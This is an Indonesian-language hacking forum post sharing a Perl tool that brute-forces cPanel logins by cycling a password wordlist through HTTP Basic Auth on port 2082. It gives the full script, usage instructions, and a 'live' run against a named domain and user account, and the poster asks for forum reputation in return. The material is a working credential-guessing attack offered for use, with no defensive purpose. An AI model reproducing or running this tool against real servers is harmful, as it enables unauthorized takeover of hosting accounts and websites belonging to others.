[NoseTrave]

Halo Semua ! Bertemu Lagi Dengan NoseTrave Yang Paling Ganteng Se Forum! (Hah Zee? Siapatuh? Masih Gantengan Gua Kali) lol,

Kali Ini Aku Mau Share Tentang Tool Yang Satu Ini

Langsung Aja Surge Nya

PHP Code:

#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
# (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host = $ARGV[0];
$user = $ARGV[1];
$port = $ARGV[2];
$list = $ARGV[3];
$file = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
################################################## #############
# usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
#-------------------------------------------------------------#
# [Host] : victim Host (simorgh-ev.com) #
# [User] : User Name (demo) #
# [PORT] : Port of Cpanel (2082) #
#[list] : File Of password list (list.txt) #
# [File] : file for save password (password.txt) #
# #
################################################## #############
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);exit;}

headx();

$numstart = "-1";

sub headx() {
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close

";
read $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
} 


Simpan Dengan nama cpanel.pl

Cara Pakainya Sederhana:

PHP Code:

perl cpanel.pl [HOST] [User] [PORT] [list] [File] 


Pengertian: -Host: Website Cpanel Yang Menjadi Target.
-User: username Nya!
-Port Cpanelnya (Biasanya 2082)
-List: Password list Ente (Yang Belum Punya Download Di IBT ato Google)
-File: File Untuk Menempatkan Hasil

Nah Ini Contoh Live Nya:

PHP Code:

root@Anarc0de:~# perl cpanel.pl thehopebuster.us ares 2082 /root/Desktop/dictionary.txt /root/Desktop/password.txt 


Sekian Dari NoseTrave!
Sangat Butuh Ijo-Ijo! (Buat Menangin Hosting)

Maaf Kalo Ada Salah Salah Kata!, Akhir Kata Terimakasih